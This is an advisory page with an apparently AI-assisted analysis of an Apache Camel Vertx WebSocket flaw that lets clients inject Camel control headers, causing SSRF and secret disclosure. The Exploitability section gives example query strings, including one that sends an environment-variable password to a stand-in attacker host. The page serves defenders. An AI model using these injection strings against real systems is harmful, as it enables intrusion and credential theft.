HIGH 7.5

CVE-2026-46726: Apache Camel Vertx WebSocket Header Injection & SSRF

Apache Camel's Vertx WebSocket component fails to filter incoming connection parameters, allowing unauthenticated attackers to inject Camel control headers through query or path parameters. When a WebSocket consumer feeds data into an HTTP producer downstream, attackers can redirect the HTTP request to arbitrary internal or external servers and extract sensitive information like environment variables, application properties, or vault secrets by embedding property placeholder references in the injected headers. This is a remote attack requiring no authentication if the WebSocket endpoint is publicly exposed.

Source data · NVD / CISA · public domain

CVSS
3.1 · 7.5 HIGH · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses (CWE)
CWE-20, CWE-200, CWE-918
Affected products
1 configuration(s)
Published / Modified
2026-07-06 / 2026-07-08

NVD description (verbatim)

Improper Input Validation, Exposure of Sensitive Information to an Unauthorized Actor, Server-Side Request Forgery (SSRF) vulnerability in Apache Camel in Vertx Websocket component. The camel-vertx-websocket consumer mapped inbound WebSocket query and path parameters into the Camel Exchange header map without applying any HeaderFilterStrategy (VertxWebsocketConsumer.populateExchangeHeaders()). Because nothing blocked the Camel header namespace, a client connecting to the WebSocket endpoint could set Camel-internal control headers - including CamelHttpUri (Exchange.HTTP_URI) - simply by supplying them as query parameters. In a route where the WebSocket consumer feeds a downstream HTTP producer, the injected CamelHttpUri redirects the server-side HTTP request to an attacker-chosen destination (server-side request forgery - for example to an internal service or a cloud metadata endpoint). In addition, the HTTP producer resolves Camel property placeholders on the resulting (attacker-controlled) URI, so placeholders embedded in the injected value - such as an environment-variable reference, an application property, or a vault reference - are resolved to their real values and sent to the attacker, disclosing environment variables, application properties and vault secrets. When the WebSocket endpoint is exposed without authentication, this is reachable by an unauthenticated remote attacker. This issue affects Apache Camel: from 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0. Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. The fix makes the affected consumers apply a HeaderFilterStrategy that filters the Camel header namespace case-insensitively on inbound mapping, so externally-supplied Camel* / camel* headers are no longer copied into the Exchange. For deployments that cannot upgrade immediately, strip the Camel control headers from the inbound message before they reach any downstream producer (for example removeHeaders('Camel*') and removeHeaders('camel*') at the start of the route), require authentication on the WebSocket endpoint, and avoid bridging an untrusted consumer directly into an HTTP producer whose target URI can be driven from message headers.

2 reference(s) · View on NVD →

SEC.co analysis · AI-assisted, reviewed against source

Technical summary

The VertxWebsocketConsumer.populateExchangeHeaders() method maps inbound WebSocket query and path parameters directly into the Camel Exchange header map without invoking a HeaderFilterStrategy. This omission permits injection of reserved Camel namespace headers (e.g., CamelHttpUri / Exchange.HTTP_URI) from untrusted client input. When such an Exchange is passed to a downstream HTTP producer, the injected CamelHttpUri value overrides the intended request target, enabling server-side request forgery (SSRF). Additionally, the HTTP producer resolves Camel property placeholders (environment variables, application properties, vault references) within the URI string before dispatching the request, causing disclosure of secrets embedded in placeholder expressions to the attacker's chosen destination. Affected versions: 4.0.0–4.14.7, 4.15.0–4.18.2, and 4.19.0–4.20.x. Remediation is available in 4.14.8, 4.18.3, and 4.21.0.

Business impact

Organizations running Camel routes that expose WebSocket endpoints—particularly without authentication—face risk of unauthorized access to internal services, cloud metadata endpoints, and stored secrets. A successful attack can exfiltrate environment configuration, database credentials, API keys, and other vault-stored secrets to attacker-controlled servers. The severity is heightened if the Camel application bridges WebSocket consumers directly to HTTP producers targeting sensitive internal systems (databases, admin consoles, cloud credential services). Downstream impacts include lateral movement within the network, privilege escalation via stolen credentials, and compliance violations from unauthorized data access.

Affected systems

Apache Camel versions 4.0.0 through 4.20.x are affected across all three active streams: 4.0.0–4.14.7 (pre-4.14.8), 4.15.0–4.18.2 (pre-4.18.3), and 4.19.0–4.20.x (pre-4.21.0). The vulnerability is active only in routes using the camel-vertx-websocket component as a consumer. Impact depends on deployment topology: routes that directly bridge WebSocket consumers to HTTP producers are most at risk; routes that apply additional header filtering or require WebSocket authentication present lower exposure.

Exploitability

Exploitation is straightforward and requires no special tooling. An attacker crafts a WebSocket connection URL with malicious query parameters matching reserved Camel header names (e.g., '?CamelHttpUri=http://internal-service:8080/admin'). If the WebSocket endpoint lacks authentication and the downstream route includes an HTTP producer, the injected header redirects the server-side request. Property placeholder injection (e.g., '?CamelHttpUri=http://attacker.com/?secret=${env:DB_PASSWORD}') extracts secrets to attacker-controlled infrastructure. The attack surface is maximized when WebSocket endpoints are internet-facing and routes lack input validation or header filtering.

Remediation

Upgrade to patched versions: 4.21.0 (main release), 4.18.3 (4.18.x LTS), or 4.14.8 (4.14.x LTS). The fix implements a HeaderFilterStrategy that case-insensitively filters Camel namespace headers (Camel* and camel*) at the point of inbound header population, preventing externally-supplied control headers from entering the Exchange. For deployments unable to upgrade immediately, apply compensating controls: (1) add explicit header-removal steps at the route start using removeHeaders('Camel*') and removeHeaders('camel*'); (2) require authentication on the WebSocket endpoint; (3) avoid direct bridging of WebSocket consumers to HTTP producers whose target URIs can be influenced by message headers; (4) implement network-level isolation between Camel applications and sensitive internal services.

Patch guidance

Verify your Apache Camel version using dependency management tools (Maven, Gradle, etc.) or runtime introspection. If running 4.14.x, upgrade to 4.14.8 or later. If running 4.15.x–4.18.x, upgrade to 4.18.3 or later. If running 4.19.0 or newer, upgrade to 4.21.0 or later. After patching, validate that the HeaderFilterStrategy is active by reviewing route logs or enabling debug-level logging on the VertxWebsocketConsumer. Test downstream HTTP producer behavior to confirm that injected headers no longer influence target URIs. Review and remove any temporary header-filtering workarounds once patched versions are confirmed stable in your environment.

Detection guidance

Monitor WebSocket endpoint logs for unusual query or path parameters containing reserved Camel header names (CamelHttpUri, CamelHttpMethod, CamelHttpQuery, etc.). Watch for unexpected HTTP requests originating from Camel application instances to internal services, metadata endpoints (169.254.169.254), or external attacker-controlled domains. Enable HTTP producer request logging and inspect target URIs for values that do not match hardcoded route configurations—especially URIs containing injected placeholders or redirects. Use distributed tracing (Jaeger, Zipkin) to correlate WebSocket inbound messages with abnormal downstream HTTP requests. Alert on any Camel Exchange headers that originate from client input rather than internal route logic. Check application and system logs for evidence of secret material (credentials, API keys) being transmitted to unexpected destinations.

Why prioritize this

This vulnerability merits immediate prioritization for any organization running Camel with exposed WebSocket consumers. The combination of (1) unauthenticated remote exploitability, (2) direct access to sensitive internal systems via SSRF, and (3) automatic exfiltration of secrets through property placeholder resolution creates a critical attack path. The CVSS 7.5 (HIGH) score reflects the high likelihood of exploitation and significant confidentiality impact. Mitigation options exist for organizations unable to patch immediately, but only compensating controls provide protection; the underlying code flaw remains until patched versions are deployed.

Risk score, explained

The CVSS v3.1 score of 7.5 (HIGH / AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) reflects: Network-accessible attack vector (AV:N); no special conditions required (AC:L); no authentication needed (PR:N); no user interaction required (UI:N); impact confined to the vulnerable component (S:U); high confidentiality impact from secret exfiltration (C:H); no integrity or availability impact assessed in the base vector. The score does not account for business-context factors such as internal network access implications (SSRF may have greater downstream impact) or the likelihood of secret-containing placeholders in URIs. Organizations with WebSocket endpoints accessible to the internet and routes that expose internal services should treat this as a critical issue despite the base score.

Frequently asked questions

If our WebSocket endpoint requires authentication, are we safe?

Authentication significantly reduces attack surface, but you should still upgrade. An authenticated attacker with legitimate endpoint access could still exploit the header injection and SSRF to redirect internal requests or extract secrets. Additionally, authentication mechanisms can be misconfigured or bypassed; patching eliminates the underlying vulnerability regardless of authentication posture.

Can we patch selectively—only updating WebSocket-dependent routes?

No. The vulnerability exists in the camel-vertx-websocket component itself, which is version-locked across your Camel build. You must upgrade the entire Apache Camel dependency. If you cannot upgrade globally, you must apply compensating controls (header filtering and authentication) to all routes using the component.

What if we don't use HTTP producers downstream—are we still vulnerable?

The SSRF and HTTP-based secret exfiltration aspects do not apply. However, injected Camel control headers could still influence other downstream processors or producers. For defense-in-depth and to prevent future architectural changes from introducing risk, applying header filtering is still recommended.

How do we know if we're exploited?

Look for WebSocket connection logs with unusual query parameters containing Camel header names. Check HTTP producer request logs for unexpected target URIs or redirects. Review application and system logs for evidence of secrets (passwords, API keys, vault contents) being transmitted to external or unusual internal destinations. Enable audit logging on sensitive backend services (databases, credential stores) for unauthorized access attempts originating from your Camel application.

This analysis is provided for informational purposes to assist security teams in risk assessment and remediation planning. The information is derived from published CVE data and vendor advisories; verification against official Apache Camel release notes and your specific deployment configuration is required. SEC.co makes no warranty regarding completeness, accuracy, or fitness for any particular purpose. Consult official vendor advisories and conduct testing in non-production environments before deploying patches. Security posture and risk vary by organizational context; this assessment does not constitute professional security advice or substitute for qualified security review of your systems. Source: NVD (public-domain), retrieved 2026-08-15. Analysis generated by SEC.co (claude-haiku-4-5).